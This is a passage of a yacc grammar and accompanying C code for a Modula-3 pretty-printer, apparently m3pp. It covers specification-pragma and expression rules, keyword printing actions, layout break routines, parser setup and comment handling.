;
spec_proc_opt_requires:
/* empty */
| spec_proc_requires NL
;
spec_proc_opt_ensures:
/* empty */
| spec_proc_ensures NL
;
spec_proc_signature:
qqid
| qqid Lparen id_list Rparen
| qqid Colon spec_type
| qqid Lparen id_list Rparen Colon spec_type
;
spec_var: Var SP B spec_typed_id_list E ;
spec_depend:
Depend SP qqid spec_opt_typed_id Colon A B spec_term_list E ;
spec_abstract:
Abstract SP spec_abstract_lhs A Iff SP spec_pred
| Abstract SP spec_abstract_lhs A Equal SP expr
;
spec_abstract_lhs: qqid spec_opt_typed_id Colon A qqid Lbracket qqid Rbracket ;
spec_opt_typed_id:
/* empty */
| Lbracket spec_typed_id Rbracket
;
spec_pred_def: Pred SP Ident Lparen spec_typed_id_list Rparen A Is SP spec_pred ;
spec_func_def: /* was TypedIdlist instead of TypedIdList */
Func SP Ident Z Colon A spec_type
| Func SP Ident Lparen spec_typed_id_list Rparen Z Colon A spec_type
;
spec_axiom: Axiom SP spec_pred ;
spec_protect: Protect SP qqid_list A By SP spec_term_list ;
spec_inv: Invariant SP spec_pred ;
spec_let: Let SP Ident A Assign SP spec_term ;
/*spec_term: spec_term_sum ;*/
spec_term: spec_pred ;
spec_pred: spec_quant ;
spec_quant: B spec_zquant E ;
spec_zquant:
spec_concl
| All SP Lbracket spec_typed_id_list Rbracket A spec_concl
| Exists SP Lbracket spec_typed_id_list Rbracket A spec_concl
;
spec_concl: B spec_zconcl E ;
spec_zconcl:
spec_disj
| spec_disj SP spec_weak_pred_op A spec_concl /* these operations are right-associative */
;
spec_weak_pred_op: Implies | Iff ;
spec_disj: B spec_zdisj E ;
spec_zdisj:
spec_conj
| spec_zdisj A Or SP spec_conj
;
spec_conj: B spec_zconj E ;
spec_zconj:
spec_literal
| spec_zconj A And SP spec_literal
;
spec_literal: B spec_zliteral E ;
spec_zliteral:
spec_atom
| Not SP spec_zliteral
;
spec_atom:
B spec_term_sum A spec_bin_rel SP spec_term_sum E
| B spec_term_sum E
;
spec_term_sum: B spec_zterm_sum E ;
spec_zterm_sum:
spec_term_prod
| spec_zterm_sum A spec_addop SP spec_term_prod
;
spec_addop: Plus | Minus ;
spec_term_prod: B spec_zterm_prod E ;
spec_zterm_prod:
spec_term_selector
| spec_zterm_prod A spec_mulop SP spec_term_selector
;
spec_mulop: Asterisk | Div | Mod ;
spec_term_selector:
spec_term_paren
| qqid Z Lparen Rparen
| qqid Z Lparen spec_term_list Rparen
| spec_term_selector Z Lbracket spec_term_list Rbracket
| spec_term_selector Z Uparrow
| spec_term_selector Z UparrowPrime
;
spec_term_paren:
spec_prim_term
| Lparen spec_term Z Rparen
;
spec_term_list:
Z spec_term
| spec_term_list Z Comma A spec_term
;
spec_prim_term:
Card_const
| qqidp
;
/* For my taste the list should be separated
with semicolons for consistency reasons -Lemming */
spec_typed_id_list:
Z spec_typed_id
| spec_typed_id_list Z Comma A spec_typed_id
;
spec_typed_id: id_list Colon SP spec_type ;
spec_type:
qqid
| qqid Lbracket spec_type Rbracket
| Map SP spec_type SP To SP spec_type
;
spec_bin_rel: Less | Greater | Lsequal | Grequal | Equal | Notequal ;
spec_proc_modifies: Modifies SP spec_sub_id_list ;
spec_sub_id_list:
Z spec_sub_id
| spec_sub_id_list Z Comma A spec_sub_id
;
spec_sub_id: qqid spec_term_bracket_list ;
spec_term_bracket_list:
/* empty */
| spec_term_bracket_list Lbracket spec_term Rbracket;
spec_proc_requires: Requires SP spec_pred ;
spec_proc_ensures:
Ensures SP B spec_pred E
| Ensures SP B spec_pred SP Except SP spec_except_spec_list E
;
spec_except_spec:
qqid SP Rarrow SP spec_pred
| qqid Lparen Ident Rparen SP Rarrow SP spec_pred
;
spec_except_spec_list:
spec_except_spec
| spec_except_spec_list SP Bar SP spec_except_spec
;
qqid:
Ident
| qqid Dot Ident
;
qqid_list:
Z qqid
| qqid_list Z Comma A qqid
;
qqidp:
qqid
| qqid Dot IdentPrime mixed_qqidp
| IdentPrime mixed_qqidp
;
mixed_qqidp:
/* empty */
| mixed_qqidp Dot idp
;
/* this is the natural way,
but the parser must be able to switch to a primed qqid
if he encounters the first primed id,
this avoids conflicts between spec_term_selector and spec_prim_term
qqidp:
idp
| qqidp Dot idp
;
*/
idp: Ident | IdentPrime ;
/*--------------------- expressions ------------------------*/
expr: B zexpr E ;
zexpr: e1 | zexpr A Or SP e1 ;
e1: B ze1 E ;
ze1: e2 | ze1 A And SP e2 ;
e2: Not SP e2 | e3 ;
e3: B ze3 E ;
ze3: e4 | ze3 A relop SP e4 ;
relop: Equal | Notequal | Less | Lsequal | Greater | Grequal | In ;
e4: B ze4 E ;
ze4: e5 | ze4 A addop SP e5 ;
addop: Plus | Minus | Ampersand ;
e5: B ze5 E ;
ze5: e6 | ze5 A mulop SP e6 ;
mulop: Asterisk | Slash | Div | Mod ;
e6: e7 | Plus Z e6 | Minus Z e6 ;
/* Removed a Z before selector_list. */
e7: e8 selector_list ;
e8: Ident | Card_const | Real_const | Char_const | Str_const
| Lparen expr Z Rparen | type_constructor2 ;
selector_list:
/* empty */
| selector_list Z selector
;
selector:
Dot Ident
| Uparrow
/* Removed SP from front of each of these. -DN */
/* Added break before lists. -DN */
| QSP Lbracket AX B0 expr_list E Z Rbracket
| QSP Lparen AX B0 actual_list E Z Rparen
| QSP Lparen Z Rparen
| QSP Lbrace AX B0 elem_list elem_tail E Z Rbrace
| QSP Lbrace Z Rbrace
;
/*----------- _t ==> expr or type ---------------*/
expr_t: B zexpr_t E ;
zexpr_t: e1_t | zexpr_t A Or SP e1 ;
e1_t: B ze1_t E ;
ze1_t: e2_t | ze1_t A And SP e2 ;
e2_t: Not SP e2 | e3_t ;
e3_t: B ze3_t E ;
ze3_t: e4_t | ze3_t A relop SP e4 ;
e4_t: B ze4_t E ;
ze4_t: e5_t | ze4_t A addop SP e5 ;
e5_t: B ze5_t E ;
ze5_t: e6_t | ze5_t A mulop SP e6 ;
e6_t: e7_t | Plus Z e6 | Minus Z e6 ;
e7_t: type_name
| type_name selector_list_t
| type_name SP simple_object_type_list
| root_type SP simple_object_type_list
| type_constructor1
| type_constructor2
| type_constructor2 cons_value selector_list
| Lparen expr_t Z Rparen selector_list
| e8_t
;
e8_t: Card_const | Real_const | Char_const | Str_const ;
selector_list_t:
selector_t
| selector_list_t Z selector
;
selector_t:
Dot Ident
| Uparrow
/* Removed SP from front of each of these. -DN */
/* Added break before lists. -DN */
| QSP Lbracket AX B0 expr_list E Z Rbracket
| QSP Lparen AX B0 actual_list E Z Rparen
| QSP Lparen Z Rparen
| QSP Lbrace AX B0 elem_list elem_tail E Z Rbrace
| QSP Lbrace Z Rbrace
;
cons_value:
QSP Lbrace AX B0 elem_list elem_tail E Z Rbrace
| QSP Lbrace Z Rbrace
;
/*--------------------- string expressions ------------------------*/
/* This is slightly stripped down version of "expr". It's used for
the string expressions that may define brands... Yuck! */
Str_expr: B e4_s E ;
e4_s: B ze4_s E ;
ze4_s: e7_s | ze4_s A Ampersand SP e7_s ;
e7_s: B e8_s selector_list E ;
e8_s: Ident
| Str_const
| Lparen Str_expr Z Rparen
| type_constructor2 cons_value
;
/*-----------------------------------------*/
expr_list:
Z expr
| expr_list Z Comma A expr
;
actual_list:
Z actual
| actual_list Z Comma A actual
;
actual:
G expr_t E
| G B B B B B Ident SP Assign A expr E E E E E E
; /* the extra B's & E's match the expression hierarchy. yech! */
elem_list:
Z elem
| elem_list Z Comma A elem
;
elem:
expr
| expr SP Dotdot A expr
| expr SP Assign A expr
;
elem_tail:
/* empty */
| Z Comma SP Dotdot
;
opt_id_list:
/* empty */
| id_list
;
id_list:
Ident
| id_list Comma A Ident
;
/*--------------------- terminals ----------------------------*/
Ampersand: AMPERSAND { PR ("&");} NPS ;
Assign: ASSIGN { PR (":=");} NPS ;
Asterisk: ASTERISK { PR ("*");} NPS ;
Bar: BAR { PR ("|");} NPS ;
Colon: COLON { PR (":");} NPS ;
Comma: COMMA { PR (",");} NPS ;
Dot: DOT { PR (".");} NPS ;
Dotdot: DOTDOT { PR ("..");} NPS ;
Equal: EQUAL { PR ("=");} NPS ;
Greater: GREATER { PR (">");} NPS ;
Grequal: GREQUAL { PR (">=");} NPS ;
Less: LESS { PR ("<");} NPS ;
Lsequal: LSEQUAL { PR ("<=");} NPS ;
Minus: MINUS { PR ("-");} NPS ;
Notequal: SHARP { PR ("\043");} NPS ;
Plus: PLUS { PR ("+");} NPS ;
Rarrow: RARROW { PR ("=>");} NPS ;
Rbrace: RBRACE { PR ("}");} NPS ;
Rbracket: RBRACKET { PR ("]");} NPS ;
Rparen: RPAREN { PR (")");} NPS ;
Rpragma: RPRAGMA { PR ("*>");} NPS ;
Rpragma1: RPRAGMA { PR ("*>");} ;
Semi: SEMICOLON { PR (";");} NPS ;
Semi1: SEMICOLON { PR (";");} ;
Slash: SLASH { PR ("/");} NPS ;
Subtype: SUBTYPE { PR ("<:");} NPS ;
Uparrow: UPARROW { PR ("^");} NPS ;
UparrowPrime: UPARROWPRIME { PR ("^'");} NPS ;
/* These used to do CommentPragmaAfterOpen or CommentPragmaAfterOpen2. */
Lparen: LPAREN { PR ("("); } NPS ;
Lparen2: LPAREN { PR ("("); } NPS ;
Lbracket: LBRACKET { PR ("["); } NPS ;
Lbrace: LBRACE { PR ("{"); } NPS ;
/*Lpragma: LPRAGMA { PR ("<*");} NPS ;*/
/* CommentPragmaAfterOpen: * empty * | SP InitialNPS A ; */
/* CommentPragmaAfterOpen2: * empty * | InitialNPS ; */
Pr_External: PR_EXTERNAL { PF ("<* EXTERNAL", fonts->fixedComment);} NPS ;
Pr_Inline: PR_INLINE { PF ("<* INLINE", fonts->fixedComment);} NPS ;
Pr_Assert: PR_ASSERT { PF ("<* ASSERT", fonts->fixedComment);} NPS ;
Pr_Trace: PR_TRACE { PF ("<* TRACE", fonts->fixedComment);} NPS ;
Pr_Fatal: PR_FATAL { PF ("<* FATAL", fonts->fixedComment);} NPS ;
Pr_Unused: PR_UNUSED { PF ("<* UNUSED", fonts->fixedComment);} NPS ;
Pr_Obsolete: PR_OBSOLETE { PF ("<* OBSOLETE", fonts->fixedComment);} NPS ;
Pr_Callback: PR_CALLBACK { PF ("<* CALLBACK", fonts->fixedComment);} NPS ;
Pr_Exported: PR_EXPORTED { PF ("<* EXPORTED", fonts->fixedComment);} NPS ;
Pr_Pragma: PR_PRAGMA { PF ("<* PRAGMA", fonts->fixedComment);} NPS ;
Pr_Nowarn: PR_NOWARN { PF ("<* NOWARN", fonts->fixedComment);} NPS ;
Pr_Line: PR_LINE { PF ("<* LINE", fonts->fixedComment);} NPS ;
Pr_LL: PR_LL { PF ("<* LL", fonts->fixedComment);} NPS ;
Pr_LLsup: PR_LLsup { PF ("<* LL.sup", fonts->fixedComment);} NPS ;
Pr_Spec: PR_SPEC { PF ("<* SPEC", fonts->fixedComment);} NPS ;
Pr_LoopInv: PR_LOOPINV { PF ("<* LOOPINV", fonts->fixedComment);} NPS ;
Ident: IDENT { PRID (&lexbuf[$1]);} NPS ;
IdentP: IDENT { PF (&lexbuf[$1], fonts->procName);} NPS ;
IdentPrime: IDENTPRIME { PRID (&lexbuf[$1]);} NPS ; /* primed identifiers are allowed in SPEC pragmas */
Card_const: CARD_CONST { PR (&lexbuf[$1]);} NPS ;
Real_const: REAL_CONST { PR (&lexbuf[$1]);} NPS ;
Char_const: CHAR_CONST { PF (&lexbuf[$1], fonts->fixed);} NPS ;
Str_const: STR_CONST { PF (&lexbuf[$1], fonts->fixed);} NPS ;
And: AND { PK ("AND");} NPS ;
Any: ANY { PK ("ANY");} NPS ;
Array: ARRAY { PK ("ARRAY");} NPS ;
As: AS { PK ("AS");} NPS ;
Begin: BGN { PK ("BEGIN");} NPS ;
Bits: BITS { PK ("BITS");} NPS ;
Branded: BRANDED { PK ("BRANDED");} NPS ;
By: BY { PK ("BY");} NPS ;
Case: CASE { PK ("CASE");} NPS ;
Const: CONST { PK ("CONST");} NPS ;
Div: DIV { PR ("DIV");} NPS ;
Do: DO { PK ("DO");} NPS ;
Else: ELSE { PK ("ELSE");} NPS ;
Elsif: ELSIF { PK ("ELSIF");} NPS ;
End: END { PK ("END");} NPS ;
Eval: EVAL { PK ("EVAL");} NPS ;
Except: EXCEPT { PK ("EXCEPT");} NPS ;
Exception: EXCEPTION { PK ("EXCEPTION");} NPS ;
Exit: EXIT { PK ("EXIT");} NPS ;
Exports: EXPORTS { PK ("EXPORTS");} NPS ;
Finally: FINALLY { PK ("FINALLY");} NPS ;
For: FOR { PK ("FOR");} NPS ;
From: FROM { PK ("FROM");} NPS ;
Generic: GENERIC { PK ("GENERIC");} NPS ;
If: IF { PK ("IF");} NPS ;
Import: IMPORT { PK ("IMPORT");} NPS ;
In: IN { PK ("IN");} NPS ;
Interface: INTERFACE { PK ("INTERFACE");} NPS ;
Lock: LOCK { PK ("LOCK");} NPS ;
Loop: LOOP { PK ("LOOP");} NPS ;
Methods: METHODS { PK ("METHODS");} NPS ;
Mod: MOD { PK ("MOD");} NPS ;
Module: MODULE { PK ("MODULE");} NPS ;
Not: NOT { PK ("NOT");} NPS ;
Object: OBJECT { PK ("OBJECT");} NPS ;
Of: OF { PK ("OF");} NPS ;
Or: OR { PK ("OR");} NPS ;
Overrides: OVERRIDES { PK ("OVERRIDES");} NPS ;
Procedure: PROCEDURE { PK ("PROCEDURE");} NPS ;
Raise: RAISE { PK ("RAISE");} NPS ;
/* Because of grammar ambiguities, it's best to insert any leading spaces
or breaks here. The orginal grammar said 'PR(" RAISES")' here. -DN */
Raises: RAISES { DoBreak(1, 2, 0.0); PK ("RAISES");} NPS ;
Readonly: READONLY { PK ("READONLY");} NPS ;
Record: RECORD { PK ("RECORD");} NPS ;
Ref: REF { PK ("REF");} NPS ;
Repeat: REPEAT { PK ("REPEAT");} NPS ;
Return: RETURN { PK ("RETURN");} NPS ;
Reveal: REVEAL { PK ("REVEAL");} NPS ;
Root: ROOT { PK ("ROOT");} NPS;
Set: SET { PK ("SET");} NPS ;
Then: THEN { PK ("THEN");} NPS ;
To: TO { PK ("TO");} NPS ;
Try: TRY { PK ("TRY");} NPS ;
Type: TYPE { PK ("TYPE");} NPS ;
Typecase: TYPECASE { PK ("TYPECASE");} NPS ;
Unsafe: UNSAFE { PK ("UNSAFE");} NPS ;
Until: UNTIL { PK ("UNTIL");} NPS ;
Untraced: UNTRACED { PK ("UNTRACED");} NPS ;
Value: VALUE { PK ("VALUE");} NPS ;
Var: VAR { PK ("VAR");} NPS ;
While: WHILE { PK ("WHILE");} NPS ;
With: WITH { PK ("WITH");} NPS ;
/* ESC keywords */
Abstract: ABSTRACT { PK ("ABSTRACT");} NPS ;
All: ALL { PK ("ALL");} NPS ;
Axiom: AXIOM { PK ("AXIOM");} NPS ;
Depend: DEPEND { PK ("DEPEND");} NPS ;
Ensures: ENSURES { PK ("ENSURES");} NPS ;
Exists: EXISTS { PK ("EXISTS");} NPS ;
Func: FUNC { PK ("FUNC");} NPS ;
Iff: IFF { PK ("IFF");} NPS ;
Implies: IMPLIES { PK ("IMPLIES");} NPS ;
Invariant: INVARIANT { PK ("INVARIANT");} NPS ;
Is: IS { PK ("IS");} NPS ;
Let: LET { PK ("LET");} NPS ;
Map: MAP { PK ("MAP");} NPS ;
Modifies: MODIFIES { PK ("MODIFIES");} NPS ;
Pred: PRED { PK ("PRED");} NPS ;
Protect: PROTECT { PK ("PROTECT");} NPS ;
Requires: REQUIRES { PK ("REQUIRES");} NPS ;
/* special ESC functions -- they do not need special treatment
Concat: CONCAT { PK ("CONCAT");} NPS ;
Delete: DELETE { PK ("DELETE");} NPS ;
Insert: INSERT { PK ("INSERT");} NPS ;
Member: MEMBER { PK ("MEMBER");} NPS ;
Shared: SHARED { PK ("SHARED");} NPS ;
Subset: SUBSET { PK ("SUBSET");} NPS ;
Mut_ge: MUT_GE { PK ("MUT_GE");} NPS ;
Mut_gt: MUT_GT { PK ("MUT_GT");} NPS ;
Mut_le: MUT_LE { PK ("MUT_LE");} NPS ;
Mut_lt: MUT_LT { PK ("MUT_LT");} NPS ;
*/
/*--------------------- comments ------------------------*/
InitialNPS:
space_list { blanklinep = 0; PrintNPS(1); }
| space_list { blanklinep = 0; PrintNPS(1); } anypragma_space_list
;
NPS:
/* empty */ { blanklinep = 0; }
| space_anypragma_list
| anypragma_space_list
;
/* We use the unefficient right recursion to assert
that anypragma_space_list always start with anypragma_list
as required by InitialNPS. */
space_anypragma_list:
space_list_emit
| space_list_emit anypragma_space_list
;
anypragma_space_list:
anypragma_list
| anypragma_list space_anypragma_list
;
anypragma_list:
anypragma
| anypragma_list anypragma
;
space_list_emit:
space_list { blanklinep = 0; PrintNPS(0); }
;
/* We consider comments and unknown pragmas as spaces as well */
space_list:
WHITESPACE
| space_list WHITESPACE
;
/*----------------- formatting semantic routines -----------------------*/
G: { GR (); }; /* begin group */
B0: { BE (0.0); }; /* begin object - no indentation */
B: { BE (offset); }; /* begin indented group */
B2: { BE (offset*2); }; /* begin doubly indented group */
E: { EN (); }; /* end group/object */
EF: { ENF (); }; /* end group/object forcing comment output */
A: { DoBreak (1, 2, 0.0); }; /* optimal, ununited break point */
AO: { DoBreak (1, 3, 0.0); }; /* nobreak-optimal, ununited break */
AX: { DoBreak (0, 3, 0.0); }; /* no space, std indent */
V: { DoBreak (1, 1, 0.0); }; /* united break point */
VZ: { DoBreak (1, 1, -offset); }; /* space, outdent */
VC: { DoBreak (1, 1, -offset + 2.0 * bodySpaceWidth); };
Z: { DoBreak (0, 0, 0.0); }; /* no space, no break unless blank line */
SP: { DoBreak (1, 0, 0.0); }; /* space */
XSP: { P2 (' '); }; /* simple space */
BL: { BL (); }; /* forced break point */
AL2: { DoAlign (2, 0); }; /* begin aligned object */
AL3: { DoAlign (3, 0); };
ALZ5: { DoAlign (5, 1); };
EA: { EndAlign (); };
/* Tell comment code when Formatter.Align is going to generate a newline. */
ALNL: { ALNL(); };
SPNL: { DoSPNL (); }; /* Space/Newline depending on the style */
QSP: { DoQSP (); }; /* Space or not, depending on the style */
NL: { NL (); };
Inc: { depth++; };
Dec: { depth--; };
%%
/*-------- additional C code to implement the semantic routines -----------*/
/* The moreComments variable and CheckComm() macro are a way to move some
of the comment stuff around in the parse tree. What we'd like to do is
move all the comments and newlines starting at the first newline outside
of any enclosing Formatter.End's. We do this by having PrintNPS format
the leading comment in a sequence, set moreComments and return. All the
routines that generate output use the CheckComm macro to make sure the
leftover comments get printed first. EN() doesn't check so that
comments move outside of Formatter.End's. P2() doesn't check, which
allows comments to move past extra spacing characters.
To move the comments past sequences like 'G stmts E' where stmts may be
empty, the grammar has been modified so that the G and E are not
generated for the empty case. This is the reason for the stmts_group
production, and for removing empty productions from type_decl_list, etc.
Blanklinep is used to coordinate PrintNPS's generation of newlines with
the grammar's. If HandleComments is being called from something that
can emit a newline and the whitespace sequence ends with a newline, then
HandleComments will not emit that final newline, but will set blanklinep
instead. This allows the caller to output the newline, perhaps with
different parameters than HandleComments would have used.
The trickiest part is coping with Formatter.Align. alignDepth is > 0
whenever we are formatting an align. Each row consists of a group with
some nested subgroups for each column. Comments in all but the last
column are kept inside the subgroup by using EF instead of E to end
them. Comments in the last column are allowed to escape the row and are
formatted as a special NoAlign row. The alignRow variable tells
PrintNPS which case we have. */
static int moreComments = 0; /* PrintNPS has leftover work to do. */
#define CheckComm(br) { if (moreComments) HandleComments(0, 0, br); }
static int alignRow = 0; /* we are at the end of an Align row. */
static int alignDepth = 0; /* how many Formatter.Aligns are active? */
/*---- interface to the Modula-3 formatter package ---*/
#ifndef USE_PROTOS
typedef void (*PROC)();
typedef double (*FPROC)();
#endif
static PROC Formatter__Flush;
static PROC Formatter__SetFont;
static PROC Formatter__PutChar;
static PROC Formatter__Break;
static PROC Formatter__NewLine;
static PROC Formatter__UnitedBreak;
static PROC Formatter__Group;
static PROC Formatter__Begin;
static PROC Formatter__Align;
static PROC Formatter__NoAlign;
static PROC Formatter__Col;
static PROC Formatter__End;
#include <string.h>
#ifdef USE_PROTOS
void PR (const char *s)
#else
PR (s)
char *s;
#endif
{
while (*s != 0) {
P (*s);
s++; }
}
#ifdef USE_PROTOS
void PK (const char *s)
#else
PK (s)
char *s;
#endif
/* Print a keyword. */
{
PF(s, fonts->keyword);
}
#ifdef USE_PROTOS
void PF(const char *s, const char *f)
#else
PF(s, f)
char *s;
char *f;
#endif
/* Print in arbitrary font. */
{
Formatter__SetFont(formatter, f);
PR(s);
Formatter__SetFont(formatter, fonts->body);
}
static const char *builtins[] = {
"ABS",
"ADDRESS",
"ADR",
"ADRSIZE",
"BITSIZE",
"BOOLEAN",
"BYTESIZE",
"CARDINAL",
"CEILING",
"CHAR",
"DEC",
"DISPOSE",
"EXTENDED",
"FALSE",
"FIRST",
"FLOAT",
"FLOOR",
"INC",
"INTEGER",
"ISTYPE",
"LAST",
"LONGCARD",
"LONGINT",
"LONGREAL",
"LOOPHOLE",
"MAX",
"MIN",
"MUTEX",
"NARROW",
"NEW",
"NIL",
"NULL",
"NUMBER",
"ORD",
"REAL",
"REFANY",
"ROUND",
"SUBARRAY",
"TEXT",
"TRUE",
"TRUNC",
"TYPECODE",
"VAL",
NULL
};
#ifdef USE_PROTOS
void PRID(const char *s)
#else
PRID(s)
char *s;
#endif
{
int i;
const char *b;
for (i = 0; (b = builtins[i]) != NULL; ++i) {
if (*b == *s && strcmp(b, s) == 0) {
PF(s, fonts->builtinID);
return;
}
}
PR(s);
}
#ifdef USE_PROTOS
void
PRNONL (const char *s)
#else
PRNONL (s)
char *s;
#endif
/* strip newline */
{
while (*s != 0 && *s != '\n') {
P (*s);
s++; }
}
#ifdef USE_PROTOS
void BE (double n)
#else
BE (n) double n;
#endif
{ CheckComm(0); Formatter__Begin (formatter, n, MAXWIDTH); }
#ifdef USE_PROTOS
void EN (void)
#else
EN ()
#endif
{ Formatter__End (formatter); }
#ifdef USE_PROTOS
void ENF (void)
#else
ENF ()
#endif
{ CheckComm(0); Formatter__End (formatter); }
#ifdef USE_PROTOS
void GR(void)
#else
GR ()
#endif
{ CheckComm(0); Formatter__Group (formatter); }
#ifdef USE_PROTOS
void Flush (void)
#else
Flush ()
#endif
{ CheckComm(0); Formatter__Flush (formatter); }
#ifdef USE_PROTOS
void Reset (void) { }
#else
Reset () { }
#endif
#ifdef USE_PROTOS
void P(int n)
#else
P(n) int n;
#endif
{ CheckComm(0); Formatter__PutChar (formatter, n); }
#ifdef USE_PROTOS
void P2(int n)
#else
P2(n) int n;
#endif
{ Formatter__PutChar (formatter, n); }
#ifdef USE_PROTOS
void NL (void)
#else
NL ()
#endif
/* Emit a newline one level out. */
{
CheckComm(1);
Formatter__NewLine (formatter, -offset, 0);
blanklinep = 0;
}
#ifdef USE_PROTOS
void BL (void)
#else
BL ()
#endif
/* Emit a newline at current level. */
{
CheckComm(1);
Formatter__NewLine (formatter, 0.0, 0);
blanklinep = 0;
}
#ifdef USE_PROTOS
void DoSPNL (void)
#else
DoSPNL ()
#endif
{
if (style == EM_STYLE) {
DoBreak (1, 0, 0.0);
} else {
DoBreak (1, 1, -offset);
};
}
#ifdef USE_PROTOS
void DoQSP (void)
#else
DoQSP ()
#endif
{
if (callspace) DoBreak (1, 0, 0);
}
#ifdef USE_PROTOS
void DoAlign (int cols, int oneline)
#else
DoAlign (cols, oneline)
int cols, oneline;
#endif
{
CheckComm(0);
++alignDepth;
/* Oneline is only true for formals to procedures. alignDecls does not
affect them. */
Formatter__Align(formatter, cols, oneline, (oneline || alignDecls));
}
#ifdef USE_PROTOS
void ALNL(void)
#else
ALNL()
#endif
/* Tell comment code that align is going to insert a newline here. */
{
/* Only do it if there is comment work left to do. */
if (moreComments)
alignRow = 1;
}
#ifdef USE_PROTOS
void EndAlign(void)
#else
EndAlign()
#endif
{
--alignDepth;
alignRow = 0;
Formatter__End(formatter);
}
#ifdef USE_PROTOS
void
DoBreak (int blank, int breakpt, double offs)
#else
DoBreak (blank, breakpt, offs)
int blank, breakpt;
double offs;
#endif
{
CheckComm(1);
/* Turn breaks into newlines if there is one left to do from comment
handling. */
if (blanklinep) {
Formatter__NewLine(formatter, offs, 0);
blanklinep = 0;
return;
}
if (blank==1) Formatter__PutChar (formatter, ' ');
/* United Break */
if (breakpt==1) Formatter__UnitedBreak (formatter, offs, 0);
/* Optimal, OptimalBreak */
if (breakpt==2) Formatter__Break (formatter, offs, OptimalBreak, 1);
/* Optimal, OptimalNoBreak */
if (breakpt==3) Formatter__Break (formatter, offs, breakType, 1);
/* Not optimal (only used for comments). */
if (breakpt==4) Formatter__Break (formatter, offs, NonOptimal, 1);
}
#define PRODUCE(x) {fprintf (stderr, "%d ", x); return (x); }
#include <stdio.h>
#include <string.h>
#include "hash.h"
#include "lex.yy.c"
#include "lex_help.h"
#ifdef USE_PROTOS
void
initParser (
char *infile,
Formatter_t* outfile,
long emacs,
long caps,
FontInfo *fontInfo,
double offs,
double ccol,
STYLE sty,
long ad,
long breaktype,
long follow,
long callsp,
FPROC charWidth,
PROC flush,
PROC setFont,
PROC putChar,
PROC breakF,
PROC newLine,
PROC unitedBreak,
PROC group,
PROC begin,
PROC align,
PROC noAlign,
PROC col,
PROC end)
#else
initParser (infile, outfile, emacs, caps, fontInfo,
offs, ccol, sty, ad, breaktype, follow, callsp,
charWidth, flush, setFont, putChar, breakF, newLine,
unitedBreak, group, begin, align, noAlign, col, end)
char *infile;
char *outfile;
long emacs, caps;
FontInfo *fontInfo;
double offs, ccol;
STYLE sty;
long ad;
long breaktype, follow, callsp;
FPROC charWidth;
PROC flush, setFont, putChar, breakF, newLine;
PROC unitedBreak, group, begin, align, noAlign, col, end;
#endif
{
yyin = stdin;
if ((!emacs) && (infile != 0)) {
yyin = fopen(infile, "r");
if (yyin == NULL) {
fprintf(stderr, "m3pp: unable to open \"%s\".\n", infile);
exit(1);
};
/* make a copy of the file name for output in case of an error */
/* Where can I free the allocated memory ? */
infileName = (char *) malloc (strlen(infile)+1);
strcpy (infileName, infile);
};
Formatter__Flush = flush;
Formatter__SetFont = setFont;
Formatter__PutChar = putChar;
Formatter__Break = breakF;
Formatter__NewLine = newLine;
Formatter__UnitedBreak = unitedBreak;
Formatter__Group = group;
Formatter__Begin = begin;
Formatter__Align = align;
Formatter__NoAlign = noAlign;
Formatter__Col = col;
Formatter__End = end;
formatter = outfile;
calledFromEmacs = emacs;
capSwitch = caps;
fonts = fontInfo;
bodySpaceWidth = charWidth(formatter, fonts->body, ' ');
commentLeaderWidth = charWidth(formatter, fonts->comment, '(') +
charWidth(formatter, fonts->comment, '*') +
charWidth(formatter, fonts->comment, ' ');
fixedCommentSpaceWidth = charWidth(formatter, fonts->fixedComment, ' ');
commentCol = ccol;
offset = offs;
style = sty;
alignDecls = ad;
breakType = breaktype;
callspace = callsp;
comBreakNLs = follow;
insertKeywords();
}
#ifdef USE_PROTOS
void yyerror(const char *s)
#else
yyerror(s) char *s;
#endif
{
int temp, temp2; /* must be 'int' instead of 'char'
otherwise the test (temp>0)
will fail for characters above code 127
and we need negative numbers for detecting end of file */
Reset();
Flush();
if (calledFromEmacs == 0) {
/* XEmacs requires that character counting starts with 1
- very poor programming */
fprintf (stderr,
"%s:%d:%d: (byte %d) %s while pretty-printing\n",
(infileName != NULL) ? infileName : "",
currentRow+1, currentCol+1, lexposition, s);
fprintf(stderr, "Error flagged in output\n");
}
PR ("(* SYNTAX ERROR *) ");
if (!calledFromEmacs && (yychar == 0)) return; /* end-of-file */
if ((lexbuf[lexptr] == '\001') && calledFromEmacs) return;
/* i.e., return if formatting unit from Emacs was incomplete. */
PR (&lexbuf[lexptr]);
/* Now print the rest of the input, but if
the input is terminated by end-of-file (rather than the Emacs
sentinel '001'), and if the last thing before the end-of-file
is a newline, then don't print that final newline. This is
because Flush() will be called by main when yyerror returns. */
temp2 = yyinput(); /* yyinput comes from the lex library. */
if ((calledFromEmacs && (temp2 == '\001')) || (temp2 == 0)) return;
temp = yyinput();
while ((temp > 0) && (!calledFromEmacs || (temp != '\001')))
{P (temp2); temp2 = temp; temp = yyinput();}
if ((temp2 != '\n') || (temp > 0)) P(temp2);
}
#ifdef USE_PROTOS
void PrintOnePragma(void)
#else
PrintOnePragma()
#endif
/* Print out first comment. Hidden down here so it can see the comment
structure. */
{
PR(comments[0].text);
}
#ifdef USE_PROTOS
void PrintNPS(int initNPS)
#else
PrintNPS(initNPS)
int initNPS;
#endif
{
HandleComments(1, initNPS, 0);
}
#ifdef USE_PROTOS
int FixedComment(const char *s)
#else
int FixedComment(s)
char *s;
#endif
/* Determine if a comment should be refilled or not. Returns TRUE if it is
"fixed" (should not be refilled). */
{
char c;
/* True for pragmas, '(**', or '(*|' */
if (*s == '<' || s[2] == '*' || s[2] == '|')
return 1;
/* True for '(*' on a blank line. */
for (s += 2; (c = *s) != '\n' && c != 0; ++s)
if (!IsWhite(c))
return 0;
return 1;
}
static int iComment;
#ifdef USE_PROTOS
void
HandleComments(
int firstTime, /* first time on this comment? */
int initNPS, /* is this an InitialNPS? */
int doBreak) /* is a Break about to happen? */
#else
HandleComments(firstTime, initNPS, doBreak)
int firstTime; /* first time on this comment? */
int initNPS; /* is this an InitialNPS? */
int doBreak; /* is a Break about to happen? */
#endif
/* Comment and newline handling code. */
{
int i;
char *s, c;
int startCol, ws;
int needEnd = 0;
moreComments = 0; /* avoid recursion in BL, etc. calls. */
blanklinep = 0;
if (firstTime) {
/* Special case: a single newline is discarded. The pretty-printer
will add newlines as necessary. */
if (nComments == 0 && comments[0].NLs <= 1)
return;
iComment = 0;
}
if (!firstTime && alignDepth != 0) {
/* Put extra Group/End around continuation in case we're in an Align
group. Also, be sure and substract a newline for the one Align
will insert automatically. I hate align. */
if (alignRow) {
